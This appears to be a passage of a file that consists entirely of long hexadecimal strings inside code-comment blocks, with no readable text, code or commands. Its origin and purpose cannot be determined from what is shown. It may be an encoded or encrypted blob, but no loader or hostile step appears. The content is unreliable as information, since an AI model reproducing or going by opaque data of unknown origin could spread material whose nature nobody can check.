d02c07f55acf5c97910be8310dc7beaa6277d9c0f76379b5fc30686b4ca47af8d77743a9ec2f435099d21749d4c23d866e6e02d9595738fc27dab2b1b0ad9a2a15a2db16efbb53d794c1790c054b6046866ab09659df59ebceac1445a26ba6032b5fdc043355d2219e618f18f3bec9ac85c13a5755183b53e989eba47a3bf0cae0ca84892e5f53b5abff9cde90177dc0ece1d70bcb2d18149e86e0cbbc38b5b7fa7fb1515617bc186efa403e492b2602a660ed76d2fa7b7113e938d3830aba46ce2d1e5c72d890c7e428c34f3fea908504d3d67fd27acf332b43c0b0992c92e9026a1110a92ff122e80a7c6b8000ce8be72080604b1124d3558dca386741784e559231c2f9f68e2b66974bc06b66f0d1f87a336277179557e367a534a133a776469c3961390e10324c7852384dabaf7ef2fd68bb62005377b9ec112bbf8c6481617b4dac792e36c55a7b787b3c7ee094082aaf0d7c26b73dda5c2b44256e08578511fd6cc49b825cead425ffd6a880ef91bc95f7d09464567780f8ac3ddd967598021219c4d4b57436e0239cc9b454a136a1c3fee32edecb194e1aa30705b3560a425c3a39a83f3ead652de5b16dd33d0405e6b*/
/*26f3e90959875f5408cea36bfc048897b34e6c0a4f7f2b299e7e696c25719ed43bfba69d8befcbc2ef0e7268673340e728b03f934176d4d890f8c58ab52d1e65d863c2f23228474b0b81ac9b982ff65f6879fb2e6ea30a0f1ffdfc3fad8525295bbb90798ff1215976b882b8b7da1eb1f1a6d065ff42afac5326de62736fbf008a2d84c11f3cd1cf8d585c9848bff4929bc1dcd2411167d953a98ef47a735cf042c50f77ae549c8cc7cb806f36e9275951c4e581d83389f20b3b62ced7f3d0cfa8cb4767f259d6f46bfd9dd9b9b477fe2f07a1ba478cb8ec1f2c91bb444a76b68c503bc0f30653c2de5c1543cb889c5214397e5b00ef1323e17a2528b0f0d7b8a0aa98da3cc6ff76f6373f07899b3a71dcec7984e3b56e98f3d8083cb4433737b68185545ba5dfb35d018a2ade21b1fdc7d49ae640ba38a710409ffc96d21959aec2b2e4b2b4c376e6fb21c7fffc05622ff6492c2a64a83de05224ec4119f21a75e90dab6776e9d13484f427fb2fc88f0bb71d95b88ced8d2b63b6f4d6e1d894373a9cc8c3083d1a1bf6d6f2abb5fd3ca4a3e7c8978d27bd56170fe87098dd1550e9a247ee08ac2021263935b64bfea853e613b3aec91c04d005d2b301f79eec281316e1ea898aa7b4624adafc1e68283ec025b1587e287b0ba7946ff0f94fd69f39f6d347cd28a053ad5820b4e63f63fcc1d44f1aef4d4f3021aaa778fc37c0458cf9930c7d9df0f755ab4c23cc2764464017c6e301eaa19aa85a05bb8d020710e071d7f633ca58703b9882fb12314041b2a0c93a7f1b06ccc0a1a6d4373002618d594fbbcce9c70fda24f51afbc825a2021f3b1a07b054c2c8e2f1b752002bdd8b4ff58fcc1cf3addc5d3bbb0162db9982f9b9fd0b929d30876d62150a34daf6f2166d22079b9071a46394ccaf37ff2c96f43d3f4a7faab4a094ba94995e15e953439667ef41dfaa749d5e4a911791c8debc8adbad43d86c431aef510caac807c18bf07a7f9e4f0f6aadd19c0fab729a6ab04025890f6ce54b8636ea4a5ca3842720c00bd67a71eb5db8e1a75db3aedb453eb29c8aa852c59cfc5ab8e88065ba43645e20a90b8e1f3e662eb73e03cafb834d58a617d724672a49a2a0af9a3503430016dc50150c35f90a105de11f8362c9829dbe378c64f9304f30e03e40c79c1e8381b3d1def514ef6aa4cac5761aaefca4b7b29d1a3e57d4767c2dc7420d683292a9513715970997705ea7a47991b66a97fc43e8ca40452e4f2f2cf98024bb2708ac8c75f6cda57c40c810be2e7a1c9bf1bedeaff7836452b73e03bef53f89a4cffa1a64e3ce6fded4c40410c6887f29b0c4af94b8eb73c2b244b53b9a2baed332f7e82d64610bbf332920771560a5e2b2b6475fe3d2cfb41ed67f8b922ee8e6fee2fefed18691841be03c3db0b51ee826a051fb81a6f34b9a73885853f8e90e399843b2f94692a3c5aa04772e97f94665e83b4f929fc6f928c8990ddeafe903c7e9dc16f4b926ba38f54bf625937ab6b81c2f90a71ffc2655c049b650ba01fab883adbd83ddb2787f58ab1fa5ccb544fde7bd37b05f65676f0990be5ede9c3e9f341c4835fd608830cb1734ca16e5fcf425c76581bf86bea36fbab2765a181822fbc81e1ecbcbc103dfd63773dc98127871cbc8c5fb7d795b5973dd58f7d435c280bae99685006a691e53e2b7e852a70979f71d28f31acea7e6c9f5202c249b1fdafbc087c773f84fccfc778053f8d9ae9fa35211355a32c216e10c522e0870bf0a5b20648a97ba7d89d8a42719d6a8c429fa7571e89dd640c2ae0443c27951c96e912507d848379ec6115417d9e3f014394804fbe1fcf72368e292c7a5713bbc2cd295dfdefdb75546b473d6c3582be6536d295ff1bd72d9623965b335a48fcd4964456c93e38edb06d3ea3e91ba6b4c77dcf616ed3fe451481539eb0675e10ad65cdac9382a1d08d242bad6b8ba47eb048471b408e2598db6066175929400a871f8332ab8da398dc5d1a8993ce3a3122881b11d15fba274de44b366a5fbae1aab3defa7b9e49dabe24d8ad9b11baa15ab84beb6476e695c128e2db73166af80315e72a7e0c53f5a8411cb93708617df63e71efeab9f03d5f676d95aa6404a0549de1707858adb93bcedeb075ed916b8107bc2b9cf09f050ab9dd013fce8908c159b5d3ee49967aee3e3bd7d09a8034e9b1b4f40ad6d8801d2cd62b9c7ded8b60f7050bc2c7f601ca5aae7b586f34c4f843fc49662aa800040fd1e82c1833346f71a27074622deeb87d439027a8429e9963b4ecca8f8b51b6b6aa250deb4f3fa0fc91f386fe8765af4905dd5cedcd7267c1709f9d16a7a18fd39ae72551316f568dc66820bf1cd293328eadc22f3ca486b2412e5278ee9694c1bbd3d0349b680d9edbbbc9e7818fbf86a2cc4d49d0fa3eb265c288a361cb17f74dee8396c87a6f4fbd4b732908b2408b21d9d9895281fc5d3f11f82377a3803e7f0fa763849ccc0fbc8cad2736ab27aced51d186dc15e6d4feb14c6835428b0ab36a10a82d1dd3007f7603fad6994d6b38803e6757fd9f18a17c6ebacdf95181e5fd4cf6367f9094a379d21ad64dbe41fb0583ba23ce744158702024677fa2ea1e6125ce8baace8f21469fdbb97ab6532501a383c88ed8bf916bc27d99f3ad18f54aafc52b52e134fd1dc311ee83dd3f824667834a66ff39d3a64b82e78393a9b1b650d6af58314b9c68694b75eab03d38465cb2b997ade5a61865c6be14527eeff887a90357c8b2c63210e5a19616aef45e83e2a8887ef42dcf0c19ffde2e0c74bddb96187c6dfea0083d32b4428d3222aa2e8*/
/*8a29da59b6f4c4e604a19d5905d27149b25aaa612c2859a5f79503ed401d1348c0e19e29f5f4b175628bbc9fa699f541ef9eb4180a52d87e3e3175dd3c0478906e5d3ab774d5371f9d13499d965003126b1dfc12390d0400968435fe93a316f14906809678e09a733d7b8456ca2b0c42171e697736cdbeb5ef7cecf881b83fbf8c336857ca1414050205f93e114c5372d13f483e5fa5bd7699257aa8a55c9a12f95224a933cf538580b657726f7e7895b9d49af26e776921c194f34a797e6c4fe7897cc3818351be46e4aaab2a0397c1ae05a6435af0c2d3b3617c42bfeed4be4d6f555340e7f4803bf55ed0039c88fcb65c2f415fb9ddc980e1ed5b9b237ea957f50448de99bd6b4ebb2b4d72d9d2cf43aafec3c23657effcdef495bc062cc5c896a875d4a99fab326753b66785b45e5332d53046af9d71a32d4bbe9ba140341320df340227372668c08192a9c57f1b55a4e96e4b6e5b953871a8859f821e3150b69ba50e003279936c6f7e92dc8278c7990367073c9f6aad542bd0dcb1082da20ac08ce1f15966ee06711062ba3718158ae483acce24d4e18fd3ad91a707c72c353e790267c520f0d61471719da027b21fc509d7b5167b13ffe01d0ceb395e5c927490de346f941568e6be8962253134494d6a7822bf604cbda2f2bf93db566be04dbd8b2d127b4623115d95deffd67517580a93cdb33323b0043b12caaba12d0ea9c1520e9929cf5f90dacb2db58c156e03a00b40c79c4ac0d104c76b8f675280bdd198eff4eca441745364e73949f088b35c90298f793840a44dbf0eb66ec01c89808f1a81952d6bf872a6f08d663d53c8e87014d93f018e62ea93cd2b84d56187f0afa1a6c73bbe378a1364ddb5f0a2732a0e52e4fb9008b195bcefc5b3a548e5cf063a5f13441558f385f09cbcbd950c855f8fcf02060d033b8c8851181f7fb38101e86de5fb996a3ecef4517ca865ee1f50d19a2489c68ffa41a2bce1eb13fec3bceb077fe3d8474fb7cf2f68d87a81f9d4ae7da59e8ae574c4780094b6df2bf3f0b8e466373122125e2c71c122ae79085752c878b9ec1c45f0101048726f52e81b05990a02421837fe77e99a878151cba4d616987aa4bdb6f4f2e716f9c13054308fc4e470c6ac5b3fe8f94a08ab2f72d95fd1821842d453030b86e0b26bd20f1aa6bacc1016c672cd92a17c39026a16901abd6491ba22aa9d69bbe3c6491558094605186a36f3f639ce59c47eef7390e01c2ddbe2cedd4869a219945dde3df9de8523ae3cf409633467ffb1b624d6ca31c124d593dd426c6aff8eec61cd1d0e46a824456b3527ba6790669b41d4d5640fc659ffdbb111e24dd7c40c24b158e32c73779797524fb6aafdaf014ab7b7732b2638eac05c7f8366f9c3d53ae27e98bd51f2644bc001a9e48e884f404788bf9a05d13d7a2453fa8b5a2f0925d15fa9a25c76da7579a1b4dbf53e5f25b226176fe72d62ec6bc560afc97e2f9e983dada882c4e41cf1df4bb037b32a69b3e08971ed10a10a490532ea757d92c907a246b111ebb54796a8e144b7a80f46262138d0749026d1936053a66bce1776285ca4e303fcf336130284329f27f1a9f5552ce3fb60fa934f992b346c2d49d1c16d879bee0dda97673cc196ca48b9441255fd6a925dd6fefaffcfa7ee9e34bc502897d8f8cc2e0ce91b0d333d107a5a25f571b9c5f1763c6b4c166fe73a63b27b0200edc850a2f30b39a797e4952cb901c7c46442024093ff2b569059bc84a651222cb8c6e63d25f158f1c8004cafc7f694e5d2d3e504454e82278c5c63e8a9dbde29ebe60421def5b942a0f530efec68c10ac1c34dd4a344a24be4381d8964677e273eeb36850b3a2e4f8f8116383f1ce0b1fad7f2b75207c286353fb6f7676dacbe5eab6439fec799719d819400efda12323bb072141272ee2d8b49686239ddcfef8c19f791bd56637b2857382440f6bf7a27c0d455fe169f60ed6cd9d114e7a32ced62cade3ade0fdaa0227c5b16925aac87ae614732da67e1c487c05a1aca67c669e49bcc68c15c3ad008696e9adafb2952446761efe1508fdcad490e500b78e89c532e4716b56abc303fe956273637dbb02ed0df35a92ba69595fdfd5fa6d084f7621c5418330c55f29ea75b76691570c829637a52146366c48715817809020eb29e9bab41ef29ee22f066bfc1c5859d2cd3991f30ef68dac0b7f40536ad246a395a7394f2bda8a9da31786d35aa3b9d73658a3132c5969440b283e5f8d8362fe52227ddf8ffb741adcfad6e45b13d1446b65394ae44a72c9716327a3bfd4aac6c739a0ac36b0247baf0cd467106a144f7a3d83d4aafb381cb2ed126b4d28cf7e075f1033e90ca72641f8c90515d1c7cf1729ff139f56040a5d0955ebb0f5aa9cd9b6fb35715695290a7d0d8eb81d14dc10f93be8d7c30d33e5765fa42f864eaa00f6886beefae5749adac7a02b9e7fed93fb22f509b95cd354c4af5aa308f7d81da3cfa55880a6b0141c4a41ccbddc06a47bfd27488821132efe2b21ac3f6ab54dcbce2fb56d706832993dfaef2d42570b09f03ebf2cf073228b6a1760e22835ee7a797be119a2f1b48c0a0675c7dbc2e09b20bcb10acaffbcb5fde1846d7d9a68def4178e9f02a3a063a4b1bdd9f154c546c684379f3353aa19f793aa6eb427608325e366145d389ca680a8dc480225ffc18d37c71da3fe39846768163c5b2c1a587b82ef87a9b65f69a1250379055d1537b5d1cd55bfba062d850a7cee9ab4e224ba88b373ae981a276cfc9054fae73a5db1ee4e5ebf296f2c23920bd4ce89a99b50734271bf130952e99*/
/*acbdaebe3b4ac7d1661d9be62126693641e8f00c90dbd1c0b9c40316a4b8698d0e546cb5e1e1435079132180e6e85fe2ac6e7e151a40bf9017fa47421d6b4d1d31c381219dd646e96c2a1454593b0a093d1da35597a733af196219053fbad89c1fe7bee23d2b964deb0c4f98b477236d1a40f62c39e4cd5cadc99e13a89bed2170e88697696061729e58ecfd326ed4183b7cb1ea53c273c6ddb59280ca296bf76dcadc1f97378d8c482292a4733e8ecddce361f48d009cadc361f1346a91bc5fce28296c73dd19c13c5e8d38883bcbdc1f5d72929939b802fd40e2271f94bd40afebf9ef6bdddd0b1864f3c79fc11dac4be7f0bd0cd6cadea83eeffef798bea8cb7cd1b1c2bb82f6fefd49550506a78600f4fdbb33c274deae41bb4705a08b3ca39d515e5020b9d89241e661efb91b2e98d62fdd57cc0cf94787bc3ba77cb08999000271df16d0de01a3a997c7a842f38143697992d81d92166efd6b39eb6e13e7f01dba744cc6b6f8e08771f395704b158dea2eb7b3ec73d1f9fdc9d01290333e1f4328a3166a1546155e750c5d76525f5174f00f7d90114cb9c20539102046c22a2fe7edfdfa48ac935073ebb7baa78784780f9bdd7e18cbb51c09e0822508d90b1f2eed812d3fd5641e52839242b0b33a034daac0d9e784d99d1a54221932896c9d44adb04c4898071d99c4bd571ddd6a8c5c08c2ecb9035fccd8c04e12887ba8390feea085548699b2779fd585983b4bfddff472805ab72882e1136b75ed1945d5de024bb38282eaf273f16131ce7e375b81b386ebf484ff88a7b826e37e175d5c1f81b6df743b2273abb0bac5184f3e19e7d73bc9ffe3ccd3f28cdf5438a353918d4886776581ceda6cd0483fa7b90cef6573ba6a281bc7d39f70ebe6d3305dc8540e4b78ddba79a1d14fe2b45b03b87ed56dfb3be8c961010e79bb9c7823bccada7f89c7469279bd86d0c1198f6d42a5c6c799e79dd540d1854f731573bb50d0a43fa2c523aa896f896dd33256098059e2bb3838f1f1439f054694a79509fce4b0137f25621d4de07756c679a1aa1c62cc7c6d905f10e69e4374bca59bc5586cff9ad522b9e3631f74168c710d38615a36572b3e6a565f1f719f0f2015f8a29b59bd3dc2d8ed660f41d02f13aa749b5f60004b28b24bb24f970609c1f64368118524d96b60b37b5e7dbacc5d21b4301f0e69a8a0a1d3583c13a065762b5efcf10f61aa78733df67914089ec22e69c822e62f6f2ab39f8a2cca6a7acd924252a155447f06eef7cfdd9fc3ccc34d61b8581d909107e0f601a5d5b9448fd1ea69a43a3e53e357182a021086dcc2f93e032955443f91bf0f16a56aef8f3ebb5e3858f28f829e835eea382c1c0f5e718c0106456a471014bb069cf2bf0ed9e0a4dd85aa7a1942f6713ecf4460336d3f1484baf40f6c644338be6ef1eb18b3b7ec6c96577b1dc49dbe0652e770da66d840fdb12f9367ee457c3d0b9335e389153b119741cf06a1fdd0e49f1883a15e4fe9da95685549da699f8aabc88891f371579a3924ed7acb749bd55a9ec1de8053602c1156c1ffc69bb549fbb321739c1cc71b44e10812ea0303217ac3df3693a7542762f4928bed66af2f697b03545b673702373bf54a0fd691572e2455c5e72933bac5c1a6e49788009681b7baaff7e019c289ef5023dae0a1f9fafcfa7d2f92ecc1a924da8b7fb69df6582d9772d2fdfd918a8235bf0c7a84edda536320cb3df084c999f5b829b4fa95cea44e88baa556fc9e02be5a6d8468bad7095fe58b3a035953904cd4e04a0f2909c5b0a424ec32030a5f4ccfb39a4db6b696066a403deb5bde15b5237a53b5835996bf9ecae707d3ce8807c2d2fa4af56bf4d60da588150514acc6cea69483944e76d3fc6c13ee84338629c812b1e269bf58c6a48858ee0a478e0cfe31da797763d38caf43ccdf930501c2fc76ee7882527e3c0acc732482b7b4779c2fbd7ec484f86c4b8a1ac1d38f677df5c3416995e783916c7166723622eada9afd156f8b8b295a280bd47cf174f4c15b15eb368190a68c3ee71457710a76e7cf60e078cf60657dfe69bf1cef41855f66879413cba77192baa54ead0a85c84f308116ab7e2c62e6164be54632ce532b6c6f7b7492963bc8a289246d00a2ddeb84dbef68e0707f50bfd41fc63ac813000d92c31502ad259df28758e63d8ecd47ed95e4842a845b6fbc12ce713283a7665db5459d93d982efedafae00d5517dafa44b4bc604e86d036dbd04d493199657379eccfed24b24ba56eb7038c8cb2c51cfd6388fa709378aea0079765cf9ead075bb4c90ced5721af859462f1fcfd082eeb45e90ff322f44c866ce5043f3d2bd7a501e8d10d22dc4e8a5b3553eb47e2655d3fef5a054cc8f59a7beb82d876a14731a4540eea2dc94cbbb116ee288d0501e27635fde2cf39cd452cb06bfb9d2f3a577d9a4e3cf489f68417ef95a50abf461d1ca92686bea326409ea0d854381f57a726de26f855a31d29a09e8faffcdd492a1ca54603c543c6aa177cbf07c4a002d30b2d82637de15eab3dd5bf526c3f3c5ec95030a1cf0959f27ecbd36792aa5f07b3ba58191eb32c4d94d4d9ea3a1ee7cc08884baab742aba51e10887b8325187879c24d3bbf104f9d35f1ef428f70ba4a9dac1b0866240f328e77279502ff250a7928c44f62c4bbe3bb79faa1248c0b22370432a999af0fea595faf0c37a17660b6688295262b536de3ce9df3ab7063add8ae7f6f3671612fb7b57ee7aac58fe9256319c60583785dbf62649b4cbacc69b72bc8e5d41ec7cc9c5f9f84fc52f55d0987c1b926551c65635*/
/*1ebe56b21680661d85a8de07574eecff73bdf14513b048e26a240adb825303241cf1c27fa8f41ab05670417ee2950c9997e9a79d61fee84f90d79c6d1ddd18e65fd588b2af4d7c13b01a08422dc6fc71854c432a3c6c29cd8652c7d9f939ca0577123cf0004beefff086e3ceeee052527b009e4c4377ee192fa70aafde0d0682199233a5e648070b4bff6d56b1d21a3695da1bd4146fb098994c563c1d7d882b1cc45e9a9055335f737e9b03e7c7d9ecf6d06c46e5e61a281ce560dc5007af0c7657dcbe6cae91f4e7edf794bdc55f363923a00bf108137429d953852863810f0c3afcc57cf217f6207bb92a6977bd3fdbf4d730ec0eead77d0e4b38d28d9628b4fa008cd37d0a9043b81f91c58caf43ce8e601a9f9157e150e498bbcbbab76557ce66878896c70d83262a4b0b8cfbdba9a098b140c20b09290e9b3829062de41f79daeadf3e37d5dedffaee8cd0dfa4f21202441663cbce9af207cf8c8ace9b47535855515cee82c3f49818e42275717363339c9de28ddffcfa41e1c34bde422fba1837bf44aac14e1e8dafd3f8c0ceaf9e913b722b9d503576e25a0ec8457e3e258475d59e9f91e303d58f7e33def70de2463ec1685e9ec450977a8af906f68a0eb2e949a9a129e77527d0dfd56a49cb21867405e5cae3e783af51ea171cd8550b1cc838658bbb45413f4860a4a9291866e7265ca0d2afe313165d7335d387f87e03cf006c0c133c5de6b7aa73a444918c8c3c812ef12673ea3abef1bb26cf163c389bd6dce1f111f104d32aac7f7e3092476fe54da20f81cc699e4f3f0e88fcceb950a1fda18e9a339adbde0dd745e3c0a98dc85651b9dd5fcca24552920d4836ea08d88f6114534a9476f676dec510bfc18085cf3adead71f746185a575829bc50cbe7384dc24a52eb3dae5afcf801ad8860bd225624271bda954486958f3c1fcdb41c2945080de9188687394be47142a17eb90685eb6c6f6c946dbf99ee3d7b21422d8137cfa6f272d19a6591aeb6ba79501a1960ec3e2e8227c54f997b5ae27966c91b702db87f0aa14046f8c8589b2c99c14539db5715b91d6b42b0552745041eb3ed2e51affed3b99ac73da5733906e653a8e0869e375b91e1e21091562d867f35b0b7528215832f1e130041480ac71f07a1569d559493618aff823ea0019360b5472f3fba47985cadcc87fc2c7866cf17013a80b8a3ef891875a6a6167a19ba8f5bcd71dc423b14c467f689a0baaec934c17ec0a341c7045b62b98274a0c7da13ba6487ec8fd0aa0231c4aa0623dce04258990b84675214bf65da9884e49844b3eea494d03926cbd09e3bc3dd5edf54862a017c4ce4b1d6c7f4caea599a360a87c57331322fe3540216a2f32b3f48dffe9b12cfef8496726542f7e20f3e51ae5b52e808b19690606d6d42a49a45d258052294f12cac88c73eb2f43bf02bb5e0c54c53be827a23c341767539b258247bdb019d72ec97cd408a6656794cce7372000e340e655a8d9a97d725bb2bcd21f52535135d6047d8ad1f2ff78d212ebe348900802f3841b99161f3826980ff1565347a11700f5f7e750d40f86617c32b46850f7547625a9af4f1b65c84a4893f788ede5a68cffb5128bae8130cf23cddc76afa9d26576e0d78f61f1dbc38aea344ba18b30b4e573a5744c0e64068f6a405f9e882f1b6e5938560f91c795b05a2b28ef962cebaa6f1a379cf9cd0a4235f31620679e31953ac0f8ad336eaa97abeb17c45cce9f0012690e6b4ee452e02a3f3b76bad40665c73f8ff27716404f2269fdf5230d31618df2167157ccda39c8ab6974ac97cb8152e29c1f385015a7992d329964776ddff6671233b8ad24ef9bfb0ab629bd427992b3779a3a08fd70ee843c1ec504d4173536f051a31658f9bae2be4c432043bd76e9faa6b4a1b90923121a29aeebd404bd4b1bd0144b09f002b397625eeb629472f8d9f03191793cae3bc1f3b753ccd912e9ba0a04f9bedc194ef11ba323e5c269efdf176d29e19eefd0cc38de95e754043e448ea0831edf6ddd7cd654c03b63fd728205ecb4046410984e11f14404db53b633958a4529d001cc9a78c42ff5de5baef1d7dd3b3f7eeba3f71a093afe16e21011039890a95f64604438b85316b40ee143c9b08f7052fe99832722bece900b23fcc7dfd25413fbbd699bfa41aad9b1f26fafceb24a7b35293032d93ff168a23db55d4cefe79536911ae5979161d5f2d614e6af5c5e4d36d8065444fe4891180d6d35b465b01159cd2aea6be7935a9fc97a2359fa2ccee06f71e58405f5a5e6e79fcef1effe529d62b40aaa7e46deaf3e285eb1d1dfb8b73fd6dc6e51020e81949f27022f251d57c8fbcaee06fdea7caf8c3e890c263e581ec7c0825bce51b9779dda5b0b241dfaf535b389f95baa51f2196ae56ca64a286348601b15b8bd2f56d45b9bcedbc5168f35d34ea04d157a411f19527857b19a80d94080e4b01c4791ff36c9f95f558fb5dc2802fe6b619582917ed6f3cfd7709ea24de45b5e7b23dd3fbd6444bafb28dd7841b1136503461fa89778ad7b97c9935f4e5ac05e9c19695e502b2b2e30b4c63eaa8390492fafa697dd5488ca94ad6d68d9c8cab1430002b049e9ad3a8e555390486195b9fd73e6bfb63ec8786ff3a5bf3a0903a5660d24770a8c038fb54dc0bb9d514656949b1d0615e9c27635dddc726df5be374af792bde60bf4e36beb55b9f6d9d9b214dadefb5845ecaed08d145ceb068cf651d837fa8194444a4177a1525b99a48fd732fa5df7e4efa4cd761c64442139f812d6ccfea7c4145f57d6b582333dc49da795b2ba280a098*/
/*1df040b47e81ef072540b99c8575d0f1353a0f95eaabb528492863ccf35dfce217b57cd50f3d72bfd7e7ac79a459688477588155187031a85377e1d2f81ad27a88bd09ca2693381b06c6f40013f086dd87ab42f91d97115bec27997586ee4de1a59097f00a86272ab33719ba79094d1bbe280c2c019078ee2a94c4e26598e2136e10fbbb9a50e70a369b2a0d82f1a1c224927dfe69f77592497d9de0c5d70439a65b2f636b76e18754006554cdcc30e1b0fd2b84254445d47e6409b1961e4d4191b8577fd27b5aa6addf5fcd58c48eabcf3c114f289939371a5b63b4ef0c6d4be042ff65293e442b6adf473ec69b15e0431cd2260001e38ff2619f7fbe683cf7cf1c53306188468d9904d7f13b16e3f2efacdcf9c00f93f9b0a6d266af2aa037b66f7ee8135f849bcdad26307484de6a37b5e4fa2a9bfd760eeadae58f7fc8ba4bdcf4b8fc4e22f47d91c15a38a79738493d26d4c4c9f8b33e1ca13cbb6039f883389a9560389b644e19aedbcdf2fc41f71f3bbdf633ab88abf951326bdb88771e196d41bd4601d21dc0510bf44843a7685325fae6c015993f8046209a1787b47383639f0f2ed43eeaab194e3a4505578a7758ec05dac70b7123cea160e685a1ed71fb6f1aaa33af9e1bfcd72d199ae1c17c6de73a4345c6d5e93920e36ee54698efeb27f09c78e0d140e058c2149b1d2942781faed224c17816ee670e2b6c0a9937699e61b8f33d95fb5126728f18232d93dd82a1f577a325c4a725538ea51d27dfc575088dce09b34700002fede3ddb9c94624efe15ec2568885bbeb556d12e4ac1a9058337513a2719603ea90e97e1445c0187e645a3afe2aafe1ccb68114928c6b3228bb00b53c68bd3cf8706678c52939639b0667e34426d3513eb886c9d2f094c4d8cf55fb5be9d53dad0e5fd938bf562cca9eb96b9c46854564b6ab7ad636fddfb5e53ba8ecf914e235e1751295bc98bb111a192f942ee211db7f9d66b7707304f48f65c59151013a5d29584a6c151bb4a2a015f5a06020a2e4dcef845fed8aad779e9bace6de9f6902404c569dcb86659925e1e4a4a43c541b5a8dc7117a76e1c426fc248b186f780d54f0e51a83a868a93aa342f9297d0d7bd547d5b5b6a21037e654183f7f0cc421e2107268a761d175093d1ae7abe5b2249d5a0d07d4e8160317ec5611e0e32e9eea8b7d15be0cf54ab147d309666173c5b74bbfa46435d6d9aeef92c7dc09e9a81004b66bcabf2d5a84d72e68fdefd187c5cb6b65976317b9c28f961e174f16c845727c5c1f8460c6c58295a179472764acc71793bf00f767e26568c6393f58f731346d852dfc9844b3f06177d68da081d1dbdeae6015044e54653c051f2a30f137cb2f12b6c9c94291755c844707d699050fb5493d6b52ce3a85ff2a04c884f0b13d44d16348cb4258608b9e1a80aa9a3270bd6cf5d6c4acebae5d212463f9a1359caac089a2f7117e130af8117f45a80559928a47983c92570907641dc24e7655514b41c3bb8089061a2a8c196d0bd49501fe3cdd98d8d192dd86f3e8f7546fb7a05b817942c7d4da76e1ecf6e40fea1d65c06f9bea7d707baf3aa80ec2249f0a44408dbae4ad8765c35026bba06fd8332d5b298017b17008547015dfddc4b29c491d09bbb8c295484043bdfe1b4c2c5453ac3b8edfae07968c935053fa92335fd8f1b5ec2df4dcaf3a6c5505e09ddcc922756c84c049f0cf315c5cf612eb949e1315a056e46f1e273116ca22af559a58d1e191bc034f1bdbf587c56ca2543f20f67d4588c38b20c50ca9082c459f26a00d5fb3e18d9aa36138e04b77f02415e7eab88c56f9c721b6100b1dd8e85dd3717b29e336a7cc27e6e93366c02395d0951d63cc2082122f806ddaec6618358b5ed45704b64c6de9ced8a0cba1e2fcdb971ecdcb3850bcd09e9b37b0370367057fe67c350caab4d65a504328fe7193230dae859afee3c4c475e66edec4eb11f2ed43d0d5023944d5abe2c1aa598bb55dfb7e8a3585a58887ef3895902505066f1eaefa034608f0f3258f52c67f1b0d88456cb0c90950ab0c2be1b027f954be043cd544ff56579453995ee63c523dc4407432c6337355b3eda4c09e0ce8d3a7143fd3da5e043d253ff84d13f7cdd4aa1f705f2ec78bf21377cf082a8e9057bbe4a5a39e93488594f22883a7a8dbb501eebed36ed53d2ed07a53bd42e9b629865720c5b759daf84fa1762e294e21ec104b664db888837a4d629cdf31d23cdcc86d6d8e6616212d40364d27c772633ba5b669822e1ffd5a881f2c0c5aa6704668e8e9f38cb3c563165c94c41485a32a066d93ef71bb083045dede6262fe5ee7a57d34e5ebdbd5961b24736d53943c136847a205b7502d09dff75f6e63147bca5eae4f6da5369f170f0dadf233cfcad8a964768371f3c3d458b17f2485b5ad2698f7a8c624e1e05e72494e2674eacc02903d71a0ac28622b29e1af62e5af9065daa13ecd5f25ff9bc008b494ecef5578034ee9cf954665053a9c8d3cb9598c184fb858cbb2d153a0c90c39ab4e63b2751ef23b408a27da073babbfe4ceb8326e0da75223b5749df88d15e8ae55c927b9cb6ce2149edc31f6fa6f1bb3fccf28618fb65a8224b4129c35ee17def08066b15950ad69a4a60d14a4096fd292eb454c6762b8c0d6a6b2f8976c4fe55f85d98b301b13b8c3c92ec27a83adbd1969cc5631e3c5a511a9bd0cc5562ffa06b8b3ef328938fde34b7616b14060f67520dd93ba73d47971c8e0d923e9cee0e3bc1c2b9dfb2effbc5b3a619bca8830f68a9b854b6f8f461586a722e5cc7476e0fde0fdc270010e46*/
/*89ea1d27d89dbc229b40ab7e6892de01f4626a17c45988a3134985cabd0e342959f790cb038b820757b9cbcd61cbe90cb790852904c7ab3b6b2cddd6867e0dc85108e7c88c10a320346747a69a02d3fd1866b348f777c41b09d09eb020b93a1d992079cace1ce85942ec2e2683f6e7a8cf8beb09eb55f7f09cdf955e462c31a2d9fd5764aa46ae98752f8d80b776c23cec83bf3782249ec2ce7aefa3c2ecd35aef402163448cc20fe85b3b0122ff2a152daec93973c6fd4323d8e1239a58feaa14deaa9d4110bdc201f632ec24330945c544dc61744d8abe330f89a55b1032402fb015b381200074cb82756cd09b38db095b8ebfb794bf72448e42adf1a125318d9b6f621c80108b6b1d3614df04613b55b87dc93001e2b4b5873e8c0646cb156f05287fc0a764791a219061ec4de1977425bf345eaef2d66d0c6ac4d341874f36a9a17c4b7739faeb194011f9bdbb8840fccb266952fd94ad662d41d73e45c252d3690ff3490c0b3e441a6d349d0be40f1999350a0adc356fb97665aec00b17705b5d6b1169de2d26b8bb960b6da13d7efed25ce5dfc23845be8a7e526994d5563539ca6d8082e7b6e89de96921c151118694622dc9470bd7aa0984c3de08743cf7577d049ea12e33985bd65fbb19f4dad3745ca93d82749c367a39c08961c737077b40102dc24d1e98eb32df7501f2c2c6e79e56eb57f5fc9e23ad2d1ef5b6cf13320cf0763e728e81df8427ee5efb2f2c2414c618ccad7a35aeac4cdfc07b6bd049886e245e0318c3dc164f1821172174bc7c2ffcc8a6233b9269fff587032ea248f75b2b17aaa3aef40f4e55713ec1ae5575d1794a1c8c015c4f68f7ee7b90e1c01d21613795a8e75c70fc8ca09a9c391c6871c7e6d74c5667d8fe051b26a4e58b9565ed4326e0936384f1b654728f7159ffbcecc6579fc02cb9299f99875b617094d748d66dfb6842b75d1ba3466cbbbcd39a3f42a52ccab61d9f5df9e2342504ae1f795a43ec0593407bc82a495130ed9103474fa564dd59bf9586e9b489bdb8710bfc583694eab507be59824525e8c949416457a9c54cc253c1894968b89988df6109296d43d24ee479844eac333f90f618e6ba8b3846147cceeb33f33f681d27e5833c4c3a1f297150b7b3638c74c49485125445aaec1c5550a70a6ea37019750c3662b426eb29f874eeeea541b7e91815fbf1bfeba0d1c6e6800e94a6fbe0b4f388790d3de3f6ce7dab9474d03db057f4ffdc75b0255216d050a4bff3195fd304c1bc211f0db5b3b05de15e8a1159f0c1fe1caa962d7aea22d0b55fd1558a462e0936922775228be634c3bade0ca4bec18d170cfeb28c53a773c48586bca8463d0a1e2c4a2e593886f9031aca1a67291eee612a8936b6d349b9bc8d13b5a478a842849cb2d26f075083679839fcfae87ad35ad53b102ea608199462a78099265fe0c4d8f9b32a929e9ff7cc551ceb22d193029b93cf